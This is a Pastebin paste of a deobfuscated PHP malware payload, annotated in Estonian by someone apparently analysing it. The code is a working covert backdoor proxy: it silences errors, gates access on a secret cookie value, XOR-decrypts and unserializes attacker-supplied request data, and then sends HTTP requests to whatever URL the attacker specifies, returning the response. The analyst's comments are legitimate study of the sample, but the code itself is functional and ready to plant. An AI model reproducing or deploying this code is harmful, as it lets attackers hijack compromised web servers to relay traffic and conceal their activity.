Advertisement
Kriztjan

decodedPayLoad

Apr 8th, 2019
675
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.25 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.  * Autor: Kristjan Aas
  5.  * decodedPayLoad
  6. */
  7.  
  8. @ini_set('display_errors',0);
  9. @ini_set('log_errors',0);
  10. @error_reporting(0);
  11. @set_time_limit(0);
  12. @ignore_user_abort(1);
  13. @ini_set('max_execution_time',0);
  14.  
  15. /*
  16.  * Loopime läbi küpsistest, kui leidub küpsis siis väljume PHP skriptist
  17.  */
  18. foreach ($_COOKIE as $item)
  19. {
  20.     if ($item != "4cb3d317-eb3a-4b1d-8f83-6ec0ae114e90")
  21.         exit();
  22. }
  23.  
  24. /*
  25.  * Korjame muutuja sisendiks POST või GET meetodil saadetud päringu väärtuse
  26.  */
  27. $data = file_get_contents('php://input');
  28. /*
  29.  * Eraldame algse muutuja sisendi Strin'gi tükikaupa massiiviks, tükeldamise tingimuseks on "=" ja kogu massiivi sisuks on maksimaalselt 2 elementi, kus viimane massiivis olev väärtus
  30.  * sisaldab ülejäänut String kujul
  31.  * Mis tähendab, et POST'lt või GET'lt tulev väärtus peab olema näiteks kujul dasd3$@£$=sd9@£asdsa=@£$asasd(tegemist on arvmusega, pole ülevaadet reaalsest logist)
  32.  */
  33. $data = split("=", $data, 2);
  34.  
  35. /*
  36.  * Laseme POST'lt või GET'lt tuleva töödel
  37.  * Mis tähendab, et POST'lt või GET'lt tulev väärtus peab olema näiteks kujul dasd3$@£$=sd9@£asdsa=@£$asasd(tegemist on arvamusega, pole ülevaadet payload'ist reaalsest logist)
  38.  * Järgmiseks laseme väljundi läbi base64_decode, mis eeldab, et urldecode'ist tulev väärtus on base64 kujul, tulemuseks on base64'jast dekodeeritud String
  39.  */
  40. $b64_decode_data = base64_decode(urldecode($data[1]));
  41.  
  42. /*
  43.  * Laseme $b64_decode_data muutuja läbi decrypt funktsiooni (String)
  44.  * decrypt funktsiooni väljundiks peab olema Serialiseeritud kujul String, sest see lastakse läbi unserialize funktsioonist.
  45.  */
  46. $send_data = unserialize(decrypt($b64_decode_data));
  47.  
  48. /*
  49.  * Käivitame send_data1 funktsiooni, mille parameetriteks on $send_data de-serialiseeritud PHP väärtused
  50. */
  51. $result = send_data1 ($send_data);
  52.  
  53. if (!$result)
  54. {
  55.     /*
  56.      * Kui send_data1 funktsioonil puudub väljund, käivitatakse send_data2 funktsioon, kuid see on tühi funktsioon, mille väljundiks pole midagi.
  57.      */
  58.     $result = send_data2($send_data);
  59. }
  60.  
  61. echo $result;
  62.  
  63. /*
  64.  * Tegemist on XOR dekrüpteerijaga(põhineb bittide manipuleerimisel XOR)
  65.  * Kahjuks ei oska ma veel öelda, mis on õigeks väljundiks, tundub, et siin on mingi oma struktuur sisendil, sest algset väljundit ma õigel kujul kätte ei saanud, selleks oleks vaja POST
  66.  * või GET'i sisendit.
  67.  */
  68. function decrypt($data)
  69. {
  70.     /*
  71.      * Defineerime muutuja $out_data, mis hoiab funktsiooni decrypt väljundit.
  72.      */
  73.     $out_data = "";
  74.    
  75.     /*
  76.      * Defineerime muutuja $key, mille väärtuseks on domeeninimi, kust päringut töödeldakse ja URL koos praeguse PHP faili asukohaga(path), kaasaarvatud asukoha info ja päringu String.
  77.      */
  78.     $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  79.    
  80.     /*
  81.      * Võtme pikkus
  82.      */
  83.     $key_len = strlen($key);
  84.  
  85.     for ($i=0; $i < strlen($key); $i++)
  86.     {
  87.         $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
  88.     }
  89.  
  90.     for ($i=0; $i<strlen($data);)
  91.     {
  92.         for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
  93.         {
  94.             $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  95.         }
  96.     }
  97.  
  98.     return $out_data;
  99. }
  100.  
  101. /*
  102.  * Juurde lisatud send_data1 funktsioon õigel kujul
  103.  * Saadetakse POST/GET $data massiivis määratud URL'ile koos $data massiivis määratud sisuga, mille väärtused tulevad eelnevalt serialiseeritud String'ist de-serialiseerimisel.
  104.  */
  105. function send_data1($data)
  106. {
  107.     $head = "";
  108.  
  109.     foreach($data["headers"] as $key=>$value)
  110.     {
  111.         $head .= $key . ": " . $value . "\r\n";
  112.     }
  113.  
  114.     $params = array('http' => array(
  115.         'method' => $data["method"],
  116.         'header' => $head,
  117.         'content' => $data["body"],
  118.         'timeout' => $data["timeout"],
  119.  
  120.     ));
  121.  
  122.     $ctx = stream_context_create($params);
  123.  
  124.     $result = @file_get_contents($data["url"], FALSE, $ctx);
  125.  
  126.     if ($http_response_header)
  127.     {
  128.         if (strpos($http_response_header[0], "200") === FALSE)
  129.         {
  130.             $result = "HTTP_ERROR\t" . $http_response_header[0];
  131.         }
  132.     }
  133.     else
  134.     {
  135.         $result = "CONNECTION_ERROR";
  136.     }
  137.  
  138.     return $result;
  139. }
  140.  
  141. function send_data2($data)
  142. {
  143.     // use sockets
  144. }
  145.  
  146. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement